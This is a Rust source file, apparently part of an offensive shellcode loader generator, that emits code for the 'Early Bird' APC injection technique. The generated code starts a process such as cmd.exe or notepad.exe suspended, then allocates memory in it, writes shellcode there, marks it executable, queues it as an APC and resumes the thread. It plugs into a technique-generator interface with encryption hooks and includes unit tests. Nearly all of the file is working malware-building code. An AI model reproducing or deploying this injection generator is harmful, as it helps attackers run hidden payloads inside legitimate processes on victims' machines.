pub fn early_bird_import() -> String {
     super::common::common_process_injection_imports().to_string()
 }
 
 pub fn early_bird_const() -> String {
     format!(
         r#"
 {}
 
 {}
 
 #[link(name = "kernel32")]
 extern "system" {{
     {}
 
     fn QueueUserAPC(
         pfn_apc: *const std::ffi::c_void,
         thread: *mut std::ffi::c_void,
         data: usize,
     ) -> u32;
 
     fn ResumeThread(thread: *mut std::ffi::c_void) -> u32;
 
     fn CloseHandle(object: *mut std::ffi::c_void) -> i32;
 }}
 
 {}
 "#,
         super::common::COMMON_MEMORY_CONSTANTS,
         super::common::COMMON_PROCESS_CONSTANTS,
         super::common::common_process_injection_externs(),
         super::common::common_process_structures()
     )
 }
 
 pub fn early_bird_init() -> String {
     String::new()
 }
 
 pub fn early_bird_process(process: &str) -> String {
     let process_wide = format!(
         "let process_path: Vec<u16> = \"{}\\0\".encode_utf16().collect();",
         process.replace('\\', "\\\\")
     );
 
     format!(
         r#"
     unsafe {{
         {}
 
         let mut si = StartupInfoW {{
             cb: std::mem::size_of::<StartupInfoW>() as u32,
             reserved1: ptr::null_mut(),
             desktop: ptr::null_mut(),
             title: ptr::null_mut(),
             x: 0,
             y: 0,
             x_size: 0,
             y_size: 0,
             x_count_chars: 0,
             y_count_chars: 0,
             fill_attribute: 0,
             flags: 0,
             show_window: 0,
             reserved2: 0,
             reserved3: ptr::null_mut(),
             std_input: ptr::null_mut(),
             std_output: ptr::null_mut(),
             std_error: ptr::null_mut(),
         }};
 
         let mut pi = ProcessInformation {{
             process: ptr::null_mut(),
             thread: ptr::null_mut(),
             process_id: 0,
             thread_id: 0,
         }};
 
         let result = CreateProcessW(
             process_path.as_ptr(),
             ptr::null_mut(),
             ptr::null(),
             ptr::null(),
             0,
             CREATE_SUSPENDED,
             ptr::null(),
             ptr::null(),
             &si,
             &mut pi,
         );
 
         if result == 0 {{
             panic!("failed");
         }}
 
         let addr = VirtualAllocEx(
             pi.process,
             ptr::null(),
             shellcode.len(),
             MEM_COMMIT | MEM_RESERVE,
             PAGE_EXECUTE_READWRITE,
         );
 
         if addr.is_null() {{
             panic!("failed");
         }}
 
         let write_result = WriteProcessMemory(
             pi.process,
             addr,
             shellcode.as_ptr() as *const std::ffi::c_void,
             shellcode.len(),
             ptr::null_mut(),
         );
 
         if write_result == 0 {{
             panic!("failed");
         }}
 
         let mut old_protect: u32 = PAGE_READWRITE;
         let protect_result = VirtualProtectEx(
             pi.process,
             addr,
             shellcode.len(),
             PAGE_EXECUTE_READ,
             &mut old_protect,
         );
 
         if protect_result == 0 {{
             panic!("failed");
         }}
 
         let apc_result = QueueUserAPC(addr, pi.thread, 0);
 
         if apc_result == 0 {{
             panic!("failed");
         }}
 
         ResumeThread(pi.thread);
         CloseHandle(pi.thread);
         CloseHandle(pi.process);
     }}
 "#,
         process_wide
     )
 }
 
 fn generate_early_bird_template(function_name: &str, process: &str) -> String {
     super::common::TechniqueTemplateBuilder::new()
         .with_import(early_bird_import())
         .with_const(early_bird_const())
         .with_init(early_bird_init())
         .with_process(early_bird_process(process))
         .build(function_name)
 }
 
 pub fn generate_early_bird_code(function_name: &str, process: &str) -> String {
     generate_early_bird_template(function_name, process)
 }
 
 pub struct EarlyBirdGenerator;
 
 impl super::trait_generator::TechniqueGenerator for EarlyBirdGenerator {
     fn generate_code(&self, process: &str, function_name: &str) -> String {
         generate_early_bird_code(function_name, process)
     }
 
     fn generate_code_with_dynamic_resolver(
         &self,
         process: &str,
         function_name: &str,
         _encryption_type: &str,
         _encryptor: &dyn crate::encryption::Encryptor,
     ) -> String {
         self.generate_code(process, function_name)
     }
 
     fn requires_process(&self) -> bool {
         true
     }
 
     fn name(&self) -> &'static str {
         "EarlyBird"
     }
 }
 
 #[cfg(test)]
 mod tests {
     use super::*;
     use crate::internals::templates::techniques::trait_generator::TechniqueGenerator;
 
     #[test]
     fn test_generate_early_bird_template_contains_all_parts() {
         let template = generate_early_bird_template("MyFunction", "cmd.exe");
         assert!(template.contains("use std::ptr"));
         assert!(template.contains("QueueUserAPC"));
         assert!(template.contains("fn MyFunction"));
         assert!(template.contains("CREATE_SUSPENDED"));
         assert!(template.contains("ResumeThread"));
     }
 
     #[test]
     fn test_generate_early_bird_code() {
         let code = generate_early_bird_code("MyRandomFunc", "notepad.exe");
         assert!(code.contains("fn MyRandomFunc"));
         assert!(code.contains("QueueUserAPC"));
         assert!(code.contains("VirtualAllocEx"));
     }
 
     #[test]
     fn test_early_bird_generator_name() {
         let gen = EarlyBirdGenerator;
         assert_eq!(gen.name(), "EarlyBird");
     }
 
     #[test]
     fn test_early_bird_requires_process() {
         let gen = EarlyBirdGenerator;
         assert!(gen.requires_process());
     }
 }

© 2024 - 2026 djnn, inc • generated with stagit